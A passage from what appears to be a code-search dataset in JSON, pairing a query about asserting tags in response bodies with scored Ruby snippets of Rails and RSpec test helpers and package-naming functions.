"text": "def package_name(buildno=nil)\n if buildno\n buildno = Time.now.strftime(\"%H*60+%M\")\n versnum = \"#{version}.#{buildno}\"\n else\n versnum = version\n end\n\n if platform\n \"#{name}-#{versnum}-#{platform}\"\n else\n \"#{name}-#{versnum}\"\n end\n end",
"title": ""
},
{
"docid": "aa38cd65126f49d08749355010e0b22a",
"score": "0.5017002",
"text": "def is_rpm?\n return !!@name.match(/^(aix|cisco-wrlinux|el|eos|fedora|sles|redhat|redhatfips)-.*$/)\n end",
"title": ""
},
{
"docid": "f46be0ca7c1b6ffd16d549e1f7222390",
"score": "0.4999417",
"text": "def package_name\n raise Puppet::Error, 'luet requires packages have a category set' unless @resource[:category]\n\n \"#{@resource[:category]}/#{@resource[:name]}\"\n end",
"title": ""
},
{
"docid": "04fe81cac62554112d874fc04905d33a",
"score": "0.4990678",
"text": "def get_pkg_name(candidate_tag=nil, distro=nil)\n prod_name = self.task.prod\n\n # FIXME: stop that hardcoding... one day!\n pkg_name = self.name\n\n distro = self.task.distros[0] if distro.nil?\n\n is_scl_package = MeadSchedulerService.is_scl_package?(prod_name, self.name)\n # different naming convention for different products\n if prod_name == \"eap6\" && distro == 'el7' && is_scl_package\n pkg_name = \"#{prod_name}-\" + pkg_name.sub(/-#{prod_name}$/, '')\n\n # Only enable scl thing for RHEL distros, aka when distro = el_\n elsif is_scl_package && distro.match(/^el/)\n pkg_name = \"#{prod_name}-\" + pkg_name.sub(/-#{prod_name}$/, '')\n end\n pkg_name\n end",
"title": ""
},
{
"docid": "b706e0976c7559f41280e5c4a70392a1",
"score": "0.49870223",
"text": "def rhel?(node = __getnode)\n node[\"platform_family\"] == \"rhel\"\n end",
"title": ""
},
{
"docid": "87fd15ce58b906d87d6478dc2856f38f",
"score": "0.49823743",
"text": "def version\n @gemspec.version || @version_helper.to_s\n end",
"title": ""
}
] |
2a3dfd00701a5315536c2f6af89ccf89
|
Asserts that the body of the response contains the supplied tag with the associated selectors
|
[
{
"docid": "6cdd3e0ea9e7ae80f08bfb0a82ed77d0",
"score": "0.63878226",
"text": "def assert_have_tag(name, attributes = {})\n ht = HaveTag.new([name, attributes])\n assert ht.matches?(response_body), ht.failure_message\n end",
"title": ""
}
] |
[
{
"docid": "2f7f99f519e2e0aafc71f55558439830",
"score": "0.6436876",
"text": "def should_have_tag(tag, *opts)\n __response_body.should_have_tag tag, *opts\n end",
"title": ""
},
{
"docid": "5625747d9c6e23d231e23b0fffe77eb0",
"score": "0.632028",
"text": "def assert_rendered_in_template(selector, content = nil, message = nil)\n message ||= if content\n \"Expected to find #{content.inspect} at #{selector.inspect} in the output template\"\n else\n \"Expected to find #{selector.inspect} in the output template\"\n end\n\n matched_elements = Nokogiri::HTML.parse(last_response.body).css(selector)\n assert !matched_elements.empty?, \"#{message}, but selector not found.\"\n\n if content\n inner_htmls = matched_elements.map(&:inner_html)\n found_match = inner_htmls.grep(content).any? # grep matches strings or Regexps\n assert found_match, message + \". The selector was found but with different content: \\\"#{inner_htmls.join('\", ')}\\\"\"\n end\n end",
"title": ""
},
{
"docid": "6c2f5e3b71e390ffc2d676b3bd027283",
"score": "0.6217456",
"text": "def assert_body_includes(expected)\n assert last_response.body.match(expected),\n \"expected last_response body to include #{expected}\"\n end",
"title": ""
},
{
"docid": "d2348638670ab824397b61affc228832",
"score": "0.62110275",
"text": "def assert_have_selector(expected, attributes = {})\n hs = HaveSelector.new(expected, attributes)\n assert hs.matches?(response), hs.failure_message\n end",
"title": ""
},
{
"docid": "53fec345ad19453e2886f9e2404b7240",
"score": "0.6161204",
"text": "def assert_have_selector(expected)\n hs = HaveSelector.new(expected)\n assert hs.matches?(response), hs.failure_message\n end",
"title": ""
},
{
"docid": "53f3f52a27b13854cd5704e4c53bbb78",
"score": "0.60985893",
"text": "def assert_body_contains(str)\n assert_match str, @response.body, %(\"#{str}\" not found in response body)\n end",
"title": ""
},
{
"docid": "1229fef9347ebcbca20c51f06a88ef8a",
"score": "0.6043928",
"text": "def test_tag\n get 'tag', :tag => 'Friend'\n assert_response :success\n assert_select 'ul.connections li', 2\n end",
"title": ""
},
{
"docid": "9c2da62cea893656daa98bcf32b523ff",
"score": "0.6010877",
"text": "def assert_includes_css(selector)\n exists = doc.css(selector).first\n assert exists, \"Last response must include #{selector}\"\n end",
"title": ""
},
{
"docid": "4709e9b9b6fd33246c56fa9220b0d299",
"score": "0.59940493",
"text": "def assert_match_body(regex)\n assert_match regex, @response.body\n end",
"title": ""
},
{
"docid": "4709e9b9b6fd33246c56fa9220b0d299",
"score": "0.59940493",
"text": "def assert_match_body(regex)\n assert_match regex, @response.body\n end",
"title": ""
},
{
"docid": "a0e523d118e7cccd86ff646628275012",
"score": "0.59760344",
"text": "def outputs *args, &blk\n if args.first.is_a? Regexp\n assert_match args.first, @response.body\n else\n assert_select *args, &blk\n end\n end",
"title": ""
},
{
"docid": "114adb5c5f900a9d48b0ddcdaeb1b607",
"score": "0.5971209",
"text": "def assert_have_tag(name, attributes = {})\n ht = HaveTag.new(name, attributes)\n assert ht.matches?(response), ht.failure_message\n end",
"title": ""
},
{
"docid": "f975d5152fc24678584bfdd55765a009",
"score": "0.59537685",
"text": "def assert_contain(content)\n hc = HasContent.new(content)\n assert hc.matches?(response), hc.failure_message\n end",
"title": ""
},
{
"docid": "b1fa6a942d0a7b809b6c431c9dcee505",
"score": "0.5894248",
"text": "def assert_have_tag(actual, expected, contents = nil, msg = nil)\n msg = msg.nil? ? '' : \"#{msg}\\n\"\n msg << \"Expected #{actual.inspect} to have tag [#{expected.inspect}]\"\n \n doc = Nokogiri::HTML(actual)\n res = doc.css(expected)\n \n if res.empty?\n msg << ', but no such tag was found'\n matching = false\n else\n # such a tag was found\n matching = true\n \n if contents\n if contents.is_a?(String)\n unless res.any? { |tag| tag.inner_html == contents }\n matching = false\n msg << \" with contents [#{contents.inspect}], but the tags content found is [#{res.map(&:inner_html).join(', ')}]\"\n end\n elsif contents.is_a?(Regexp)\n if res.inner_html =~ contents\n matching = true\n else\n msg << \" with inner_html [#{res.inner_html}],\"\n msg << \" but did not match Regexp [#{contents.inspect}]\"\n matching = false\n end\n else\n msg << \", ERROR: contents is neither String nor Regexp, it's [#{contents.class}]\"\n matching = false\n end\n else\n # no contents given, so ignore\n end\n end\n assert matching, msg\n end",
"title": ""
},
{
"docid": "89779d0f85465934d22467a49248f29a",
"score": "0.58736444",
"text": "def assert_contain(content)\n hc = HasContent.new(content)\n assert hc.matches?(response_body), hc.failure_message\n end",
"title": ""
},
{
"docid": "f7af20dfd325dd337e73d7c8563e8b03",
"score": "0.5793378",
"text": "def assert_response(*content)\n updates = root.page_updates\n \n i = 0\n content.each do |assertion|\n if assertion.kind_of? Regexp\n assert_match assertion, updates[i] \n else\n assert_equal assertion, updates[i]\n end\n \n i+=1\n end\n end",
"title": ""
},
{
"docid": "ddf0902ab95d6dd1e2f90c607609f133",
"score": "0.5773915",
"text": "def assert_in_body\n assert_select \"div#content\" do\n yield\n end\n end",
"title": ""
},
{
"docid": "7c8fd7b32fce189a9e5383b7fb77eb22",
"score": "0.5708492",
"text": "def should_have(*selector_keys)\n run_protected do\n selector_keys.each { |key| assert_element_present @selectors[key] } \n end\n end",
"title": ""
},
{
"docid": "d02f1a0ac9bf870fab80a9c6857b2bd4",
"score": "0.56986755",
"text": "def with_tag(*args, &block)\n AssertSelect.selected.should have_tag(*args, &block)\n end",
"title": ""
},
{
"docid": "74dc006d6eff10b3b96ed174f3ac321b",
"score": "0.5622936",
"text": "def assert_html_valid\n #begin\n assert_valid_markup\n #rescue\n # print \"\\nVALIDATION FAILED:\\n\"\n # print \"HEADERS:\\n\"\n # @response.headers.each { |header,value|\n # print \"\\t#{header}: #{value}\\n\"\n # }\n # print \"BODY:\\n\"\n # print @response.body\n # print \"\\n\"\n # raise # re-raise after showing the failing body.\n #end\n end",
"title": ""
},
{
"docid": "4524d777d4ea1f2dff139e2849fee998",
"score": "0.5594029",
"text": "def assert_js_select(*args, &block)\n extracted_text = @response.body.match(/(\\<.*\\>)/)[0].\n gsub(\"\\\\n\", \"\").gsub(\"\\\\t\", \"\").gsub(/\\\\\"/, '\"').gsub(\"\\\\\", '')\n if extracted_text.present?\n doc = HTML::Document.new(CGI::unescapeHTML(extracted_text)).root\n args.insert(0, doc)\n assert_select(*args, &block)\n else\n assert false, \"Unable to extract any html from the js code.\"\n end\n end",
"title": ""
},
{
"docid": "6671a7249cd6a48b59455e7078ab61e8",
"score": "0.55367947",
"text": "def assert_have_selector(name, attrbutes_or_stringlike = {}, body = nil, &block)\n attributes, body = normalize_assert_arguments(attrbutes_or_stringlike, body)\n\n matcher = HaveSelector.new(name, attributes, &block)\n assert matcher.matches?(body), matcher.failure_message\n end",
"title": ""
},
{
"docid": "884591a07d8c71113a8fa58c049fc6f5",
"score": "0.5531701",
"text": "def assert_response(resp, contains=nil, matches=nil, headers=nil, status=200)\n\t\tassert_equal(resp.status, status, \"Expected response #{status} not in #{resp}\")\n\n\t\tif status == 200\n\t\t\tassert(resp.body, \"Response data is empty.\")\n\t\tend\n\n\t\tif contains\n\t\t\tassert((resp.body.include? contains), \"Response does not contain #{contains}\")\n\t\tend\n\n\t\tif matches\n\t\t\treg = Regexp.new(matches)\n\t\t\tassert reg.match(contains), \"Response does not match #{matches}\"\n\t\tend\n\n\t\tif headers\n\t\t\tassert_equal(resp.headers, headers)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "b8e905112404bed56e09944fa50c4e32",
"score": "0.55103284",
"text": "def assert_body(body, subscriber)\n assert_response subscriber do |result|\n assert_respond_to result, :[]\n assert_equal body, result[\"body\"]\n end\n end",
"title": ""
},
{
"docid": "212975bf98cb61a2c2ffca3ba3b51e03",
"score": "0.5462773",
"text": "def assert_response_contains item\n if item.is_a?(Hash) || item.is_a?(Array)\n item.each_pair do |key, value|\n assert_response_contains value\n end\n else\n assert response_contains?(item), \"Response did not contain: \" + item.to_s\n end\n end",
"title": ""
},
{
"docid": "31c3e4d95a1ec68310117707d1b78eb1",
"score": "0.54523826",
"text": "def test_render_erb_route\n # Requesting the htmlPage page of the application.\n request = @requester.get '/erbPage'\n # The response should be OK (200)\n assert_equal 200, request.status\n # Content type should be HTML\n assert_equal 'text/html', request.content_type\n # Checking if the response contains the expceted text\n expected_body = 'This is the content of the attribute.'\n assert_contains expected_body, request.body\n end",
"title": ""
},
{
"docid": "d6b0d2bebbed093d23d6e1ad7b3883c5",
"score": "0.5438101",
"text": "def assert_select_and_match(selector, match, match_count=1)\n match_counter = 0\n if match_count == 0\n assert_select selector, false\n else\n assert_select selector do |elements|\n elements.each do |element|\n match_counter += 1 if element.content.match(match)\n end\n end\n\n assert_equal match_counter, match_count\n end\n end",
"title": ""
},
{
"docid": "40c1f433e320e59fbfbb26f0953a8480",
"score": "0.5427276",
"text": "def with_tag(*args, &block)\n args = prepare_args(args, @__current_scope_for_assert_select)\n @__current_scope_for_assert_select.should have_tag(*args, &block)\n end",
"title": ""
},
{
"docid": "2e701f0fd5add0b1bd6f52930ee28a73",
"score": "0.5414107",
"text": "def assert_category_body_for(category, present: true)\n if present\n assert_match CGI.escapeHTML(category.title), response.body\n assert_match CGI.escapeHTML(category.description), response.body\n assert_match CGI.escapeHTML(category.posts_count.to_s), response.body\n assert_match CGI\n .escapeHTML(time_ago_in_words(category.last_activity)),\n response.body\n else\n assert_no_match CGI.escapeHTML(category.title), response.body\n assert_no_match CGI.escapeHTML(category.description), response.body\n assert_no_match CGI.escapeHTML(category.posts_count.to_s), response.body\n assert_no_match CGI\n .escapeHTML(time_ago_in_words(category.last_activity)),\n response.body\n end\n end",
"title": ""
},
{
"docid": "e938b184aa78824aa554b97dfc7a0a36",
"score": "0.54054725",
"text": "def verify_response_message_includes(response, message)\n message_json = convert_to_json(message)\n expect(response).to include(message_json)\nend",
"title": ""
},
{
"docid": "5952b5253004fd30ffb12ecaae28ece8",
"score": "0.539387",
"text": "def have_tag(*args, &block)\n AssertSelect.new(:assert_select, self, *args, &block)\n end",
"title": ""
},
{
"docid": "91bea669bcf42a430bd75c11124fc12b",
"score": "0.5384554",
"text": "def selector_expectations(expectations = {})\n 3.times {\n @selector.expect :tag, expectations[:tag] || 'div'\n }\n 2.times {\n @selector.expect :children, expectations[:children] || []\n }\n @selector.expect :attributes, expectations[:attributes] || {}\n end",
"title": ""
},
{
"docid": "b4022c275fb61fe970cc357ff7801d3c",
"score": "0.53713536",
"text": "def check_body_matches( response )\n\t\t@expected_bodies.each do |pattern|\n\t\t\tunless pattern_matches_response_body?( pattern, response )\n\t\t\t\tself.failure_description = describe_body_match_failure( pattern, response )\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\n\t\treturn true\n\tend",
"title": ""
},
{
"docid": "00accf1732a5a9b19954944470b9b21d",
"score": "0.53688556",
"text": "def with_tag(*args, &block)\n should have_tag(*args, &block)\n end",
"title": ""
},
{
"docid": "c997ef1219cfdfd24dd94f57102aacab",
"score": "0.5356456",
"text": "def tag_tester(id)\n # Can we get tags? : tests #tags\n #\n should_work('tags', id, \"#{id}/tag\")\n should_be_invalid('tags')\n\n # Can we set tags? tests #tag_set\n #\n should_work('tag_set', [id, 'tag'],\n [\"#{id}/tag\", ['tag'].to_json], :post, JSON_POST_HEADERS)\n should_work('tag_set', [id, %w[tag1 tag2]],\n [\"#{id}/tag\", %w[tag1 tag2].to_json], :post,\n JSON_POST_HEADERS)\n should_fail_tags('tag_set', id)\n\n # Can we add tags? : tests #tag_add\n #\n should_work('tag_add', [id, 'tagval'],\n [\"#{id}/tag/tagval\", nil], :put, JSON_POST_HEADERS)\n should_fail_tags('tag_add', id)\n\n # Can we delete tags? : tests #tag_delete\n #\n should_work('tag_delete', [id, 'tagval'], \"#{id}/tag/tagval\", :delete)\n should_fail_tags('tag_delete', id)\n end",
"title": ""
},
{
"docid": "de70a83e6e6943dfe7096d75a9ceb755",
"score": "0.5322351",
"text": "def during_render\n yield\n instance_eval ContinuousThinking::ReceiveAndRender.render_method\n @receive_and_render_matchers.each do |matcher|\n response.should have_tag(matcher.parent_selector) do\n if matcher.html_escaped\n response.should have_text(ERB::Util.html_escape(matcher.text2match).to_regexp)\n else\n response.should have_tag(matcher.selector)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "2c8cb846edcd129a3d6f2d211926338d",
"score": "0.5319596",
"text": "def test_if_match_evolution_etag\n root = SimpleCollection.new('root', [ServerPreconditionsNode.new])\n server = ServerMock.new(root)\n http_request = Http::Request.new('GET', '/foo', 'If-Match' => '\\\\\"abc123\\\\\"')\n http_response = Http::Response.new\n assert(server.check_preconditions(http_request, http_response))\n end",
"title": ""
},
{
"docid": "0f30b23fbdc0bedab03b641a097c92ea",
"score": "0.53129184",
"text": "def i_should_see(content)\n if content.respond_to?(:hashes)\n content.raw.each_with_index { |row, i| \n response.should have_selector(\"table > tr:nth-child(#{i+1})\") {|tr| \n row.each_with_index { |column, j| tr.should have_selector(\":nth-child(#{j+1})\") { |td| # td is not explicitly declared because we also have to deal with th's, making the code more complex\n td.should contain(column)\n }\n }\n }\n }\n else\n response.should contain(content)\n end\n end",
"title": ""
},
{
"docid": "b650b76f68228e719bae98ceec7b6d35",
"score": "0.5308944",
"text": "def have_node_info node\n expect(page).to have_content node[\"pmid\"] \n expect(page).to have_content node[\"title\"]\n expect(page).to have_content node[\"abstract\"] \nend",
"title": ""
},
{
"docid": "d8b25c1eb1a534782d6d488b69a3db84",
"score": "0.53070945",
"text": "def test_render_erb_route\n # Requesting the htmlPage page of the application.\n request = @requester.get URI.escape('/erbPage')\n # The response should be OK (200)\n assert_equal 200, request.status\n # Content type should be HTML\n assert_equal 'text/html', request.content_type\n # Checking if the response contains the expceted text\n expected_body = 'This is the content of the attribute.'\n assert_contains expected_body, request.body\n end",
"title": ""
},
{
"docid": "ad1ad383179d27088d87a98f4a81ea1f",
"score": "0.52737",
"text": "def assert_select(css_selector, options = {})\n raise \"You're trying to assert_select when there hasn't been a response yet.\" unless dom_response\n assert_block(\"There were no elements matching #{css_selector}\") do\n !dom_response.css(css_selector).empty?\n end\n end",
"title": ""
},
{
"docid": "ad1ad383179d27088d87a98f4a81ea1f",
"score": "0.52737",
"text": "def assert_select(css_selector, options = {})\n raise \"You're trying to assert_select when there hasn't been a response yet.\" unless dom_response\n assert_block(\"There were no elements matching #{css_selector}\") do\n !dom_response.css(css_selector).empty?\n end\n end",
"title": ""
},
{
"docid": "8b26f18f621e3dc1b0df66c6346bb008",
"score": "0.5269353",
"text": "def verify_ajax_response(html_body)\n html = Nokogiri::HTML(html_body)\n !html.xpath(\"//meta[@id='Ajax-Response' and @content='true']\").empty?\n end",
"title": ""
},
{
"docid": "a66ea03ca60ab6f60284442c00a7e3f9",
"score": "0.5247672",
"text": "def subtitle_is sous_titre\n expect(page).to have_css('section#content') do\n with_tag('div#main_article > h2', sous_titre)\n end\nend",
"title": ""
},
{
"docid": "63fec3bfbe1bbab10935d596e18f626e",
"score": "0.5233262",
"text": "def test_nested_assert_select_rjs_with_two_results\n render_rjs do |page|\n page.replace_html \"test\", \"<div id=\\\"1\\\">foo</div>\"\n page.replace_html \"test2\", \"<div id=\\\"2\\\">foo</div>\"\n end\n\n assert_select_rjs \"test\" do |elements|\n assert_equal 1, elements.size\n assert_select \"#1\"\n end\n\n assert_select_rjs \"test2\" do |elements|\n assert_equal 1, elements.size\n assert_select \"#2\"\n end\n end",
"title": ""
},
{
"docid": "63fec3bfbe1bbab10935d596e18f626e",
"score": "0.5233262",
"text": "def test_nested_assert_select_rjs_with_two_results\n render_rjs do |page|\n page.replace_html \"test\", \"<div id=\\\"1\\\">foo</div>\"\n page.replace_html \"test2\", \"<div id=\\\"2\\\">foo</div>\"\n end\n\n assert_select_rjs \"test\" do |elements|\n assert_equal 1, elements.size\n assert_select \"#1\"\n end\n\n assert_select_rjs \"test2\" do |elements|\n assert_equal 1, elements.size\n assert_select \"#2\"\n end\n end",
"title": ""
},
{
"docid": "727944591b25d7cbfbbc200316d845ce",
"score": "0.5230018",
"text": "def expect_all_content\n expect(page).to have_content(@solution.title)\n expect(page).to have_content(@scenario.pitch)\n expect(page).to have_content(@resource.body)\n expect(page).to have_content(@product.name)\n end",
"title": ""
},
{
"docid": "1391596cf46209abdaaaec9ce26744af",
"score": "0.517602",
"text": "def basic_tag_expectations(tag, version)\n expect(tag.class).to eq Tag\n expect(tag.valid?).to eq true\n expect(tag.version).to eq version\n end",
"title": ""
},
{
"docid": "1515a81a03100ccde4f7322d0a390080",
"score": "0.5153293",
"text": "def test_view_exists\r\n get :view, {'id' => \"home\"}\r\n assert_not_nil assigns[\"page\"]\r\n assert_template \"wiki/view\" \r\n assert_response :success \r\n \r\n assert_tag :tag => \"div\",\r\n :attributes => { :id => \"sidebar\" },\r\n :parent => { :tag => \"div\", :attributes=>{:id=>\"container\"} },\r\n :descendant => { :tag => \"a\"}\r\n \r\n \r\n assert_tag :tag => \"div\",\r\n :attributes => { :id => \"main\" },\r\n :parent => { :tag => \"div\", :attributes=>{:id=>\"container\"} }\r\n \r\n \r\n assert_tag :tag => \"div\",\r\n :attributes => { :id => \"revision\" },\r\n :parent => { :tag => \"div\", :attributes=>{:id=>\"container\"} }\r\n \r\n end",
"title": ""
},
{
"docid": "0b697894aea6f373777112ed29af8f5f",
"score": "0.5151883",
"text": "def assert_selekt(content, *args)\n assert_select(HTML::Document.new(content).root, *args)\n end",
"title": ""
},
{
"docid": "8faa3da0595d0b35109883124d358112",
"score": "0.514136",
"text": "def validate_html_body_tags!\n return unless %w[html body].include?(tag) && options.empty?\n\n raise ArgumentError, 'matching <html> and <body> tags without specifying additional options does not work, see: https://github.com/kucaahbe/rspec-html-matchers/pull/75'\n end",
"title": ""
},
{
"docid": "25df951d52a27417ba1cad68ad79052c",
"score": "0.51209164",
"text": "def refute_have_tag(actual, expected, contents = nil, msg = nil)\n msg = msg.nil? ? '' : \"#{msg}\\n\"\n msg << \"Expected #{actual.inspect} to NOT have tag [#{expected.inspect}]\"\n \n doc = Nokogiri::HTML(actual)\n res = doc.css(expected)\n \n # if res has something within it that means we have mostly a match, \n # so now we need to check contents\n unless res.empty?\n msg << ', but such a tag was found'\n matching = true\n \n if contents\n if contents.is_a?(String)\n if res.inner_html == contents\n matching = true\n else\n msg << \" with contents [#{contents.inspect}], but the tag content is [#{res.inner_html}]\"\n matching = false\n end\n elsif contents.is_a?(Regexp)\n if res.inner_html =~ contents\n matching = true\n else\n msg << \" with inner_html [#{res.inner_html}],\"\n msg << \" but did not match Regexp [#{contents.inspect}]\"\n matching = false\n end\n else\n msg << \", ERROR: contents is neither String nor Regexp, it's [#{contents.class}]\"\n matching = false\n end\n else\n # no contents given, so ignore\n end\n \n else\n # such a tag was found, BAD\n matching = false\n end\n refute matching, msg\n end",
"title": ""
},
{
"docid": "6f1fa7c2e7411c606f929b63da100099",
"score": "0.5108172",
"text": "def assert_select selector, have=true\n if have\n assert css(selector).present?, \"selector not found: #{selector.inspect}\"\n else\n assert css(selector).blank?, \"selector should not be found: #{selector.inspect}\"\n end\n end",
"title": ""
},
{
"docid": "47f0c921e5418863aebd22f02e87676c",
"score": "0.51075417",
"text": "def test_html\n assert_instance_of(HTML, Parsing::LineMatcher.match('<a>', ''))\n assert_instance_of(HTML, Parsing::LineMatcher.match('<a href=\"bla\">', ''))\n assert_instance_of(HTML, Parsing::LineMatcher.match('<br>', ''))\n assert_instance_of(HTML, Parsing::LineMatcher.match('<br/>', ''))\n end",
"title": ""
},
{
"docid": "89a8a2caa585e4357c9bdd166675d875",
"score": "0.5097419",
"text": "def test_assert_select_rjs_picks_up_all_statements\n render_rjs do |page|\n page.replace \"test\", \"<div id=\\\"1\\\">foo</div>\"\n page.replace_html \"test2\", \"<div id=\\\"2\\\">foo</div>\"\n page.insert_html :top, \"test3\", \"<div id=\\\"3\\\">foo</div>\"\n end\n\n found = false\n assert_select_rjs do\n assert_select \"#1\"\n assert_select \"#2\"\n assert_select \"#3\"\n found = true\n end\n assert found\n end",
"title": ""
},
{
"docid": "89a8a2caa585e4357c9bdd166675d875",
"score": "0.5097419",
"text": "def test_assert_select_rjs_picks_up_all_statements\n render_rjs do |page|\n page.replace \"test\", \"<div id=\\\"1\\\">foo</div>\"\n page.replace_html \"test2\", \"<div id=\\\"2\\\">foo</div>\"\n page.insert_html :top, \"test3\", \"<div id=\\\"3\\\">foo</div>\"\n end\n\n found = false\n assert_select_rjs do\n assert_select \"#1\"\n assert_select \"#2\"\n assert_select \"#3\"\n found = true\n end\n assert found\n end",
"title": ""
},
{
"docid": "bc4f79ab056f0885a0a9e145eac9a4c4",
"score": "0.50968206",
"text": "def test_nested_assert_select_rjs_with_single_result\n render_rjs do |page|\n page.replace_html \"test\", \"<div id=\\\"1\\\">foo</div>\\n<div id=\\\"2\\\">foo</div>\"\n end\n\n assert_select_rjs \"test\" do |elements|\n assert_equal 2, elements.size\n assert_select \"#1\"\n assert_select \"#2\"\n end\n end",
"title": ""
},
{
"docid": "bc4f79ab056f0885a0a9e145eac9a4c4",
"score": "0.50968206",
"text": "def test_nested_assert_select_rjs_with_single_result\n render_rjs do |page|\n page.replace_html \"test\", \"<div id=\\\"1\\\">foo</div>\\n<div id=\\\"2\\\">foo</div>\"\n end\n\n assert_select_rjs \"test\" do |elements|\n assert_equal 2, elements.size\n assert_select \"#1\"\n assert_select \"#2\"\n end\n end",
"title": ""
},
{
"docid": "c5702fec78b8231fb23c79951946ec56",
"score": "0.5092032",
"text": "def result_should_contain_druids(druids, response)\n expect(response).to be_an Array\n expect(response.size).to eq(druids.size)\n expect(response.map { |d| d['druid'] }).to contain_exactly(*druids)\nend",
"title": ""
},
{
"docid": "22104025941f270e14fd51eeff1b0f5c",
"score": "0.50665355",
"text": "def assert_mapped_tags_on_template\n expect(@image_tag_mapping_category.children.collect(&:description)).to include(\n \"suse-11-server-64\",\n \"ubuntu-12.04-server-32\",\n # and many more...\n )\n\n template = ManageIQ::Providers::Amazon::CloudManager::Template.find_by(:name => \"suse-11-server-64\")\n expect(template.tags.count).to eq(1)\n expect(template.tags.first.category).to eq(@image_tag_mapping_category)\n expect(template.tags.first.classification.description).to eq(\"suse-11-server-64\")\n end",
"title": ""
},
{
"docid": "8086f1e4782b9b4efe93cd1728ec4084",
"score": "0.50516635",
"text": "def test_get_slash\r\n get '/'\r\n assert last_response.ok?\r\n # Test index.erb returns required content\r\n assert last_response.body.include?(\"Simple To Do List\") # page title correct\r\n\r\n # task checkbox present\r\n assert last_response.body.include?('<label for=\"task_checkbox\"></label><input '\\\r\n 'class=\"checkbox\"')\r\n assert last_response.body.include?('action=\"/start_edit/') # edit button present\r\n assert last_response.body.include?(\"Test task 123\") # description from test task present\r\n assert last_response.body.include?(\"2016-01-01\") # task's date present\r\n assert last_response.body.include?('<a href=\"/category/foo') # category link present\r\n assert last_response.body.include?(\"<table\") # table present\r\n assert last_response.body.include?(\"<th\") # header present\r\n assert last_response.body.include?(\"<tr\") # row present\r\n assert last_response.body.include?(\"Add new task\") # new task dialogue present\r\n # placeholders present\r\n assert last_response.body.include?(\"What do you have to do?\")\r\n assert last_response.body.include?(\"Optional: format mm/dd\")\r\n assert last_response.body.include?(\"Separate by commas\")\r\n # checkbox is unchecked\r\n assert last_response.body.include?('<form method=\"post\" action=\"/check_completed/')\r\n # all categories in setup are shown in the Tags list\r\n @drop_down_tags.each do |tag|\r\n assert last_response.body.include?(\"<a href=\\\"/category/#{tag}\")\r\n end\r\n # tasks are reversed; last-saved task is displayed before second-to-last\r\n assert last_response.body.index(@first_description_to_display) <\r\n last_response.body.index(@second_description_to_display)\r\n # number of tasks in \"foo123\" category appears between parentheses on page\r\n assert_match(/Foo123\\s*\\(2\\)\\s*<\\/a>/, last_response.body)\r\n # login/out form present\r\n assert_match((/form method=\\\"get\\\" action=\\\"\\/login/ ||\r\n /form method=\\\"get\\\" action=\\\"\\/logout/), last_response.body)\r\n end",
"title": ""
},
{
"docid": "e189b9a59c7440ffc74b721d8fefdb5a",
"score": "0.50460136",
"text": "def verify_assert_match(string_or_regex)\n assert_match string_or_regex, @response.body\n end",
"title": ""
},
{
"docid": "35684cb57f328e4a0a38de007d4bd084",
"score": "0.5042732",
"text": "def assert_select key_or_path, opts={}, msg=nil\n value = opts[:value]\n data = parsed_body\n val_msg = \" with value #{value.inspect}\" if !value.nil?\n count = 0\n\n selector = opts[:selector] ||\n case data\n when Array, Hash then :rb_path\n when Nokogiri::HTML::Document then :xpath\n when Nokogiri::XML::Document then :css\n end\n\n case selector\n when :rb_path\n use_lib 'path', 'ruby-path'\n data.find_data(key_or_path) do |p,k,pa|\n count += 1 if value.nil? || value === p[k]\n break unless opts[:count]\n end\n\n when :css\n data.css(key_or_path).each do |node|\n count += 1 if value.nil? || value === node.text\n break unless opts[:count]\n end\n\n when :xpath\n data.xpath(key_or_path).each do |node|\n count += 1 if value.nil? || value === node.text\n break unless opts[:count]\n end\n\n else\n raise \"Unknown selector #{selector.inspect} for #{data.class}\"\n end\n\n if opts[:count]\n assert opts[:count] == count,\n msg || \"Expected #{opts[:count]} items matching '#{key_or_path}'#{val_msg} but found #{count}\"\n else\n assert((count > 0),\n msg || \"Expected at least one item matching '#{key_or_path}'#{val_msg} but found none\")\n end\n end",
"title": ""
},
{
"docid": "f3b6d741c7a2dde9f8becb5923d86354",
"score": "0.50396967",
"text": "def assert_tag_exists(tag_name = \"Link\")\n Thingamajig.new.app.make(new: :tag, with_properties: {name: \"Link\"})\nend",
"title": ""
},
{
"docid": "40a6403aa74de40229e7062bfe7d3f5c",
"score": "0.503744",
"text": "def assert_have_no_tag(name, attributes = {})\n ht = HaveTag.new([name, attributes])\n assert !ht.matches?(response_body), ht.negative_failure_message\n end",
"title": ""
},
{
"docid": "159e2a5631972d430db5568aeff62340",
"score": "0.501986",
"text": "def verify_content(texts)\n if texts.is_a? Array\n texts.each { |text|\n puts \"Find string: '#{text}'\"\n expect(page).to have_content(text)\n }\n elsif texts.is_a? Hash\n texts.each { |_, text|\n puts \"Find string: '#{text}'\"\n expect(page).to have_content(text)\n }\n elsif texts.is_a? String\n puts \"Find string: '#{texts}'\"\n expect(page).to have_content(texts)\n else\n puts \"Method verify_content not support type #{texts.class}\"\n exit 1\n end\nend",
"title": ""
},
{
"docid": "95693136818af442df5fb07af060685e",
"score": "0.5004121",
"text": "def should_be(*selector_keys)\n run_protected do\n selector_keys.each { |key| assert_eval @selectors[key], true }\n end\n end",
"title": ""
},
{
"docid": "f0d86669c4443b5364662a81ba12ed86",
"score": "0.4987582",
"text": "def response_contains? string\n response.body.include? string.to_s\n end",
"title": ""
},
{
"docid": "5d805460234a40436a5e51899cfc6c31",
"score": "0.49795824",
"text": "def assert_elements css_query, equality = nil, extra_equalities = {}, &block\n message = equality.delete(:message) if equality.is_a?(Hash)\n\n case equality\n when Numeric then equality = {:count => equality}\n when Range then equality = {:minimum => equality.to_a.first, :maximum => equality.to_a.last }\n when String then equality = {:text => equality}\n when Regexp then equality = {:text => equality}\n when NilClass then equality = {:minimum => 1}\n when TrueClass then equality = {:minimum => 1}\n when FalseClass then equality = {:count => 0}\n when Hash then nil\n else raise ArgumentError.new(\"Unknown type for equality specification, #{equality.class}\")\n end\n\n equality.merge!(extra_equalities)\n\n els = get_elements(css_query, equality.reject {|k,v| ![:text,:html].include?(k) }) if els.nil?\n\n n = equality.delete(:count)\n equality[:minimum], equality[:maximum] = n, n if n\n \n equality.merge!({:minimum => 1}) if (equality.keys & [:minimum, :maximum]).empty?\n\n min, max = equality[:minimum], equality[:maximum]\n message ||= %(Expected #{count_description(min, max)} matching \"#{css_query}\", found #{els.length}.)\n assert els.size >= min, message if min\n assert els.size <= max, message if 